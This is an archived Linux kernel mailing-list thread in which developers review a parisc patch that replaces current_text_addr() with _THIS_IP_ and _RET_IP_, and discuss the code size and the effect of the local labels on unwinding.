        for <linux-kernel@vger.kernel.org>; Wed, 01 Aug 2018 11:23:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=date:message-id:mime-version:subject:from:to:cc;
        bh=+KRME9vGAEtu01DjOm2vUaiwaXWnzR718tBHI+0fjAI=;
        b=TEEEeL0zTr5I3uxlqHGx7UY3VbGbbGCFOlgbJ3V4EQB57nndACqYvL9QOHLEooPEhz
         ynKHLuS48OVB/pf2iAy3/+OCkAjZo9dU3NGeJw2q+kFoifSM0dVr7U6VwBacQ6f+39gQ
         6zUuHZGd2Wk8zR17KuCGLo8Hycqlk89iaLHXdsF+PsHt6iOJ1pwut6b7nR7lerZv60Yj
         8D0eOUV+JNSSUDCfTISvWZJARKmwadzurrAZSKOOIB0yNQ8IIT3DBOQWYHE40uz1I2Uo
         tfSMfIKHKNiml6/QiHc/sQDY4BoE8CnNRxmryuxNYdQtqWaTPHY6qh9CZqnDpLUYwE2w
         GMPQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:message-id:mime-version:subject:from:to:cc;
        bh=+KRME9vGAEtu01DjOm2vUaiwaXWnzR718tBHI+0fjAI=;
        b=U9Zugx3LYDkQsjdBxD1/MF0OzBHLAPgrKXPxrgIykf78fnEDAZo5x6A1O4/4BwBtu0
         6Kf49B+bUeUNPvHouHFtjwOgIt1RDzOHx30Iebt2PuVz+Uf9cfZlzlkpfldJTkeziWoV
         I3riDW3bGTG0UcEVIEyPjdJrzacPgQ9T25tUeJ7Hgm9F7GCDz3CH8mrYhLAnhXSJPsqn
         P+ok+BJ4rmvJfQHaQctb0fMuKoUwrtX4rKqeVL34FGbd1izBuPU7sipIQafe2Oa6bUGT
         jdcYLOchyNuWpja7MP+0q5Z8S7WecWScqgWi60LfLotaCYCC27sGbxKCFevV0Rs2kPHD
         syMw==
X-Gm-Message-State: AOUpUlGDPa50xmIkkMKv0CxgzuvxBBX/eKJKmxhoxpvTR7s9e8xMhzbL
        RyGOtdoEnDFUqEW9/YvYSxrEdMO1g2ppMuTBtss=
X-Google-Smtp-Source: AAOMgpd6aKEmwxJUK5Yr6mFiQo/VPEO3heAqb9NWO+azFVhN8k65odBj4zV+IWWuHwnwcsHCtQ/J8Hc8UPdHmgeV93A=
X-Received: by 2002:a6b:1785:: with SMTP id 127-v6mr10409900iox.118.1533147791044;
 Wed, 01 Aug 2018 11:23:11 -0700 (PDT)
X-Mailer: git-send-email 2.18.0.597.ga71716f1ad-goog
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2836997 gmane.linux.ports.parisc:28857
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2836997>

As part of the effort to reduce the code duplication between _THIS_IP_
and current_text_addr(), let's consolidate callers of
current_text_addr() to use _THIS_IP_.

Signed-off-by: Nick Desaulniers <ndesaulniers@google.com>
---
 arch/parisc/kernel/unwind.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 2ef83d78eec4..a4b430f440a9 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -439,8 +439,8 @@ unsigned long return_address(unsigned int level)
 	/* initialize unwind info */
 	asm volatile ("copy %%r30, %0" : "=r"(sp));
 	memset(&r, 0, sizeof(struct pt_regs));
-	r.iaoq[0] = (unsigned long) current_text_addr();
-	r.gr[2] = (unsigned long) __builtin_return_address(0);
+	r.iaoq[0] = _THIS_IP_;
+	r.gr[2] = _RET_IP_;
 	r.gr[30] = sp;
 	unwind_frame_init(&info, current, &r);
 
-- 
2.18.0.597.ga71716f1ad-goog



From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement
 expressions
Date: Wed, 1 Aug 2018 16:10:50 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
References: <20180801182258.17834-1-ndesaulniers@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1533154130 14232 195.159.176.226 (1 Aug 2018 20:08:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2018 20:08:50 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: natechancellor@gmail.com, Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Nick Desaulniers <ndesaulniers@google.com>, deller@gmx.de,
        jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 01 22:08:45 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkxQL-0003a6-Cg
	for glk-linux-kernel-4@m.gmane.org; Wed, 01 Aug 2018 22:08:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732115AbeHAV6V (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 17:58:21 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:57876 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1727679AbeHAV6V (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 17:58:21 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180801201052.SGJA32387.torfep02.bell.net@torspm01.bell.net>;
          Wed, 1 Aug 2018 16:10:52 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.189]) by torspm01.bell.net
          with ESMTP
          id <20180801201052.FGDN26298.torspm01.bell.net@[192.168.2.49]>;
          Wed, 1 Aug 2018 16:10:52 -0400
In-Reply-To: <20180801182258.17834-1-ndesaulniers@google.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=DZT4krlW c=1 sm=0 tr=0 a=VCUqJnZSONuD0ISaPFNHjQ==:17 a=IkcTkHD0fZMA:10 a=dapMudl6Dx4A:10 a=1XWaLZrsAAAA:8 a=FBHGMhGWAAAA:8 a=Ifv6Lg9Ka88XSd5aAdAA:9 a=pkQT88gv_6D-eQI2:21 a=nhHLAN8c2ApQi0kw:21 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2837213 gmane.linux.ports.parisc:28858
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2837213>

On 2018-08-01 2:22 PM, Nick Desaulniers wrote:
> As part of the effort to reduce the code duplication between _THIS_IP_
> and current_text_addr(), let's consolidate callers of
> current_text_addr() to use _THIS_IP_.
Using the generic _THIS_IP_ results in significantly longer code than 
the parisc implementation
of current_text_addr().  It also results in a local label in the text.  
This breaks the unwind data
for the function with the label in 32-bit kernels.  The implementation 
of current_text_addr()
doesn't add a label.  _THIS_IP_ should be defined using 
current_text_addr() on parisc.
>
> Signed-off-by: Nick Desaulniers <ndesaulniers@google.com>
> ---
>   arch/parisc/kernel/unwind.c | 4 ++--
>   1 file changed, 2 insertions(+), 2 deletions(-)
>
> diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
> index 2ef83d78eec4..a4b430f440a9 100644
> --- a/arch/parisc/kernel/unwind.c
> +++ b/arch/parisc/kernel/unwind.c
> @@ -439,8 +439,8 @@ unsigned long return_address(unsigned int level)
>   	/* initialize unwind info */
>   	asm volatile ("copy %%r30, %0" : "=r"(sp));
>   	memset(&r, 0, sizeof(struct pt_regs));
> -	r.iaoq[0] = (unsigned long) current_text_addr();
> -	r.gr[2] = (unsigned long) __builtin_return_address(0);
> +	r.iaoq[0] = _THIS_IP_;
> +	r.gr[2] = _RET_IP_;
>   	r.gr[30] = sp;
>   	unwind_frame_init(&info, current, &r);
>   

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Wed, 1 Aug 2018 13:52:39 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
References: <20180801182258.17834-1-ndesaulniers@google.com> <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533156649 860 195.159.176.226 (1 Aug 2018 20:50:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2018 20:50:49 +0000 (UTC)
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        pravin.shedge4linux@gmail.com,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: dave.anglin@bell.net
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 01 22:50:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fky4x-00005M-7K
	for glk-linux-kernel-4@m.gmane.org; Wed, 01 Aug 2018 22:50:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732330AbeHAWk2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 18:40:28 -0400
Original-Received: from mail-pf1-f196.google.com ([209.85.210.196]:41055 "EHLO
        mail-pf1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731482AbeHAWk1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 18:40:27 -0400
Original-Received: by mail-pf1-f196.google.com with SMTP id y10-v6so8460731pfn.8
        for <linux-kernel@vger.kernel.org>; Wed, 01 Aug 2018 13:52:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=LR80XNkbkMsNLBnP1iRZ1SZ5lPkf9Pj8qzbArdLki64=;
        b=m213dBMqUOyE8RjiwWqohEZFELxxjz1QfedFr//F/MwoHYEeQG21bffm8h0DZt+YNR
         /uh3faj8S+V6p3HBoNKfz7jx6lr+D6tKKIATP6jI6sGBz7b4zADdovQsPaYRQ0gnJj14
         Dz5L2nsShIQXlq+VK+8wKrITmIfn7GIuziWRXvdeuZuekYY++NePRWieNDTKYm6kH/ZL
         nGLwRQSa86pQGIOnYM4NxCPLD36+bhmwS0UCHVXwOVICC2hB4BSjbGSBdEvEqPy6JdHC
         T07TQkBrj4trjwEA0pVsDpFgGmJ7wbmLaTsvZten/F3uOPMXOdv7NwZUVEACykK6Z9Uv
         PY7w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=LR80XNkbkMsNLBnP1iRZ1SZ5lPkf9Pj8qzbArdLki64=;
        b=e2ObkHnMt2FWwcMMlE+gg0z0U5RFHr/9z/oUTVCnz/YMkEGBw8q4/5XqmsjsgZZSoF
         WmJYY1vetIOP7uRfkEIlu/hGNYfmEp2V7GCAbgQDBQWUonP/3cDfbSsYUEbQHn6uEtj7
         zUFw1nsnA2jN3J0zc+wDNTXMvKkU08PJl2D6UpfYbSqNooAD431D2XDUbBU2WC/UPbMQ
         k3UC6E1RzmJgj2ciQ/isS9IQy0LTMZ1n8GvriL4zVyGqhCgBlxwCqNdvrzGf1IzQovgf
         QCBMitx3s1k8GCKgIwFvltxFeiQUqHToh5zqLaRV1E3bE9RcH6fPWsZTmKw40qJSL9YI
         /60Q==
X-Gm-Message-State: AOUpUlHZeUyvqeFfx9/gQu/vlTZmTskfWdkNN0ZZED2IyX74GUD1G/+a
        4s8j6/Q7gxfKR2FW+kSqUQwVhFSMj/6HUwQb14POCA==
X-Google-Smtp-Source: AAOMgpd0o71ps3YfJ+3Urn2f7Oms09NPaGFNLiO8xbcVqK8koY6sWrgXv7/3pMnAGFSerAIO7uUCeAjgBvNGioITS5Y=
X-Received: by 2002:a63:d916:: with SMTP id r22-v6mr25548806pgg.381.1533156770336;
 Wed, 01 Aug 2018 13:52:50 -0700 (PDT)
In-Reply-To: <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2837233 gmane.linux.ports.parisc:28859
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2837233>

Dave, thanks for the quick review!

On Wed, Aug 1, 2018 at 1:10 PM John David Anglin <dave.anglin@bell.net> wrote:
>
> On 2018-08-01 2:22 PM, Nick Desaulniers wrote:
> > As part of the effort to reduce the code duplication between _THIS_IP_
> > and current_text_addr(), let's consolidate callers of
> > current_text_addr() to use _THIS_IP_.
> Using the generic _THIS_IP_ results in significantly longer code than
> the parisc implementation
> of current_text_addr().

It might be worthwhile to file a bug with your compiler vendor.  It
seems like there may be a better way to generate code for this
construct.

Also, I'm curious how hot this code is? I assume in general that the C
construct may be larger than the inline assembly, but I'm curious if
this introduces a performance regression or just makes the code
larger?  Do you have stats on the size difference and performance
differences?  What's more important to me is whether the patch is
correct...

> It also results in a local label in the text.
> This breaks the unwind data
> for the function with the label in 32-bit kernels.  The implementation
> of current_text_addr()
> doesn't add a label.

... oh, I guess I'm surprised that the label ends up in the code, vs
there just being a constant generated.  Can you send me the
disassembly?  Also, I'm curious how does having the label present in
the text break the unwinder?  (I'm not familiar with how unwinding
works beyond following frame pointers).

> _THIS_IP_ should be defined using
> current_text_addr() on parisc.

I'm trying to eliminate current_text_addr() in the kernel, as it only
has 4 call sites (3 are arch specific).  What are your thoughts on
making the current parisc current_text_addr() just a static function
(or statement expression that's local to) in
arch/parisc/kernel/unwind.c?

-- 
Thanks,
~Nick Desaulniers


From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement
 expressions
Date: Wed, 1 Aug 2018 17:27:27 -0400
Lines: 89
Approved: news@gmane.org
Message-ID: <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
 <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1533158728 18153 195.159.176.226 (1 Aug 2018 21:25:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2018 21:25:28 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        pravin.shedge4linux@gmail.com,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 01 23:25:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkycU-0004cA-R7
	for glk-linux-kernel-4@m.gmane.org; Wed, 01 Aug 2018 23:25:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732394AbeHAXPO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 19:15:14 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:46032 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1730995AbeHAXPO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 19:15:14 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180801212729.TTZS32387.torfep02.bell.net@torspm01.bell.net>;
          Wed, 1 Aug 2018 17:27:29 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.189]) by torspm01.bell.net
          with ESMTP
          id <20180801212729.FUEW26298.torspm01.bell.net@[192.168.2.49]>;
          Wed, 1 Aug 2018 17:27:29 -0400
In-Reply-To: <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=DZT4krlW c=1 sm=0 tr=0 a=VCUqJnZSONuD0ISaPFNHjQ==:17 a=IkcTkHD0fZMA:10 a=dapMudl6Dx4A:10 a=FBHGMhGWAAAA:8 a=vx3-_5-rBGK8EIvQcvkA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2837256 gmane.linux.ports.parisc:28860
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2837256>

On 2018-08-01 4:52 PM, Nick Desaulniers wrote:
> Dave, thanks for the quick review!
>
> On Wed, Aug 1, 2018 at 1:10 PM John David Anglin <dave.anglin@bell.net> wrote:
>> On 2018-08-01 2:22 PM, Nick Desaulniers wrote:
>>> As part of the effort to reduce the code duplication between _THIS_IP_
>>> and current_text_addr(), let's consolidate callers of
>>> current_text_addr() to use _THIS_IP_.
>> Using the generic _THIS_IP_ results in significantly longer code than
>> the parisc implementation
>> of current_text_addr().
> It might be worthwhile to file a bug with your compiler vendor.  It
> seems like there may be a better way to generate code for this
> construct.
>
> Also, I'm curious how hot this code is? I assume in general that the C
> construct may be larger than the inline assembly, but I'm curious if
> this introduces a performance regression or just makes the code
> larger?  Do you have stats on the size difference and performance
> differences?  What's more important to me is whether the patch is
> correct...
I exaggerated the size difference.  It's two instructions versus one on 
PA 2.0.
>
>> It also results in a local label in the text.
>> This breaks the unwind data
>> for the function with the label in 32-bit kernels.  The implementation
>> of current_text_addr()
>> doesn't add a label.
> ... oh, I guess I'm surprised that the label ends up in the code, vs
> there just being a constant generated.  Can you send me the
> disassembly?  Also, I'm curious how does having the label present in
> the text break the unwinder?  (I'm not familiar with how unwinding
> works beyond following frame pointers).
The generic code results in the following assembly code:

.L2:
         ldil LR'.L2,%r25
         ldo RR'.L2(%r25),%r25

It's the LR and RR relocations that cause the label to end up in the 
final symbol table.
The linker can't throw .L2 away  as its address has been taken.

The comparable PA 2.0 code is:

         mfia %r25

I'm aware of this issue as I just changed gcc to move branch tables to 
read-only data
when generating non-PIC code because of this issue.

Helge knows more about the unwind issues than I do as it's specific to 
the linux kernel.
Userspace uses dwarf unwind info.  I believe what happens is the 
unwinder finds the label
instead of the relevant function and its unwind data.

>
>> _THIS_IP_ should be defined using
>> current_text_addr() on parisc.
> I'm trying to eliminate current_text_addr() in the kernel, as it only
> has 4 call sites (3 are arch specific).  What are your thoughts on
> making the current parisc current_text_addr() just a static function
> (or statement expression that's local to) in
> arch/parisc/kernel/unwind.c?
I understand the desire to eliminate current_text_addr().  However, as 
it stands, using _THIS_IP_
introduces text  labels at many sites in the kernel.  That's why parisc 
needs to be able to provide its
own define for _THIS_IP_.  Currently, we have in asm/processor.h:

/*
  * Default implementation of macro that returns current
  * instruction pointer ("program counter").
  */
#ifdef CONFIG_PA20
#define current_ia(x)   __asm__("mfia %0" : "=r"(x))
#else /* mfia added in pa2.0 */
#define current_ia(x)   __asm__("blr 0,%0\n\tnop" : "=r"(x))
#endif
#define current_text_addr() ({ void *pc; current_ia(pc); pc; })

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Wed, 1 Aug 2018 14:49:25 -0700
Lines: 166
Approved: news@gmane.org
Message-ID: <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net> <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533160056 15449 195.159.176.226 (1 Aug 2018 21:47:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2018 21:47:36 +0000 (UTC)
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        pravin.shedge4linux@gmail.com,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: dave.anglin@bell.net
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 01 23:47:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkyxu-0003t5-6K
	for glk-linux-kernel-4@m.gmane.org; Wed, 01 Aug 2018 23:47:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732368AbeHAXh2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 1 Aug 2018 19:37:28 -0400
Original-Received: from mail-pf1-f193.google.com ([209.85.210.193]:33164 "EHLO
        mail-pf1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730028AbeHAXh2 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 1 Aug 2018 19:37:28 -0400
Original-Received: by mail-pf1-f193.google.com with SMTP id d4-v6so74516pfn.0
        for <linux-kernel@vger.kernel.org>; Wed, 01 Aug 2018 14:49:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=vivQVXqhUdPxn6zH0btNlWTiXxhbFNEqW2ez7QvjaGY=;
        b=wDyzQOXKugaj9fvFyW45WZDCfYJGhkxCCWj/DsZbKpSOeET0dGUITSukeB20bcv03c
         iiriX4taRScpKiyQ+3CBOK+FnZK4FrgqvvzGiAZ+cCfnqknz97ZaJ0trLOvtMAsotFWi
         T9DT4RHhJjKXJPdaUkFPhuLfqKGlz7uTbg5+oIw6FbDhp7KQh9lipAwGIAxnheM1oSbQ
         dGtUC8QzMdgEEjMwM7r+61i3dYM0kFili19lTzJw2S4kAy2z8fzMWV2KGkfHSHL/sd86
         kolqQ1DF5EwuB36tm/ZDCAOwm6ngA1Hmdd0Md8FKecduSJXV8gZ+Cya4IaE2GS2pV8Dj
         58yw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=vivQVXqhUdPxn6zH0btNlWTiXxhbFNEqW2ez7QvjaGY=;
        b=IBu0XHXe9YXsJxhPRugSgg5tQD2i5d/+bO3f1SmtnOFHHvlAi9FifIHwMMkKhqF2Xl
         BGEx4n0Z6+zaPKW67wycUvc7/SAsoac1j0FfKNPyg79poYhgEkdbMhJOsiMuwc00K/jh
         /bv4Vay0TJh6Aqosw488eWFG8gUFmsPsndv/n2IgrOdjCe7bjOvMZrrPrhS++jEFtBqY
         AQidvvejcMUrdRzymjiXw8cAR56YNaRPH05HOPqXdsTT0ZUDXmvqO/fap9vTfGA7L5bN
         fgNjtj7MXR2FnEaQM/HKSRtd0WOz7sJ4weGx/xB7RTIsx2pt1r2ml7vsNuEdgMOwsx6r
         zUcg==
X-Gm-Message-State: AOUpUlHOWl3HQJSqflb45in/I02Fe+eawSX9oN6tjsPbC1mzj2+oFlnr
        pF81CIpD9QCi9TU70vHV1dIlJ7D4dCXrnc6+DDo04Q==
X-Google-Smtp-Source: AAOMgpe/qsvm1T3amiVBKxrrvROsbHj0WOrHvqUYzqqfyfD0jjpWFTB4ZX4908Kvp4Ik4ch4ZBlxvQJkrlsHrOEJ97s=
X-Received: by 2002:a63:a502:: with SMTP id n2-v6mr80906pgf.263.1533160176928;
 Wed, 01 Aug 2018 14:49:36 -0700 (PDT)
In-Reply-To: <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2837307 gmane.linux.ports.parisc:28861
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2837307>

On Wed, Aug 1, 2018 at 2:27 PM John David Anglin <dave.anglin@bell.net> wrote:
>
> On 2018-08-01 4:52 PM, Nick Desaulniers wrote:
> > Dave, thanks for the quick review!
> >
> > On Wed, Aug 1, 2018 at 1:10 PM John David Anglin <dave.anglin@bell.net> wrote:
> >> On 2018-08-01 2:22 PM, Nick Desaulniers wrote:
> >>> As part of the effort to reduce the code duplication between _THIS_IP_
> >>> and current_text_addr(), let's consolidate callers of
> >>> current_text_addr() to use _THIS_IP_.
> >> Using the generic _THIS_IP_ results in significantly longer code than
> >> the parisc implementation
> >> of current_text_addr().
> > It might be worthwhile to file a bug with your compiler vendor.  It
> > seems like there may be a better way to generate code for this
> > construct.
> >
> > Also, I'm curious how hot this code is? I assume in general that the C
> > construct may be larger than the inline assembly, but I'm curious if
> > this introduces a performance regression or just makes the code
> > larger?  Do you have stats on the size difference and performance
> > differences?  What's more important to me is whether the patch is
> > correct...
> I exaggerated the size difference.  It's two instructions versus one on
> PA 2.0.

Thanks for measuring.

> >
> >> It also results in a local label in the text.
> >> This breaks the unwind data
> >> for the function with the label in 32-bit kernels.  The implementation
> >> of current_text_addr()
> >> doesn't add a label.
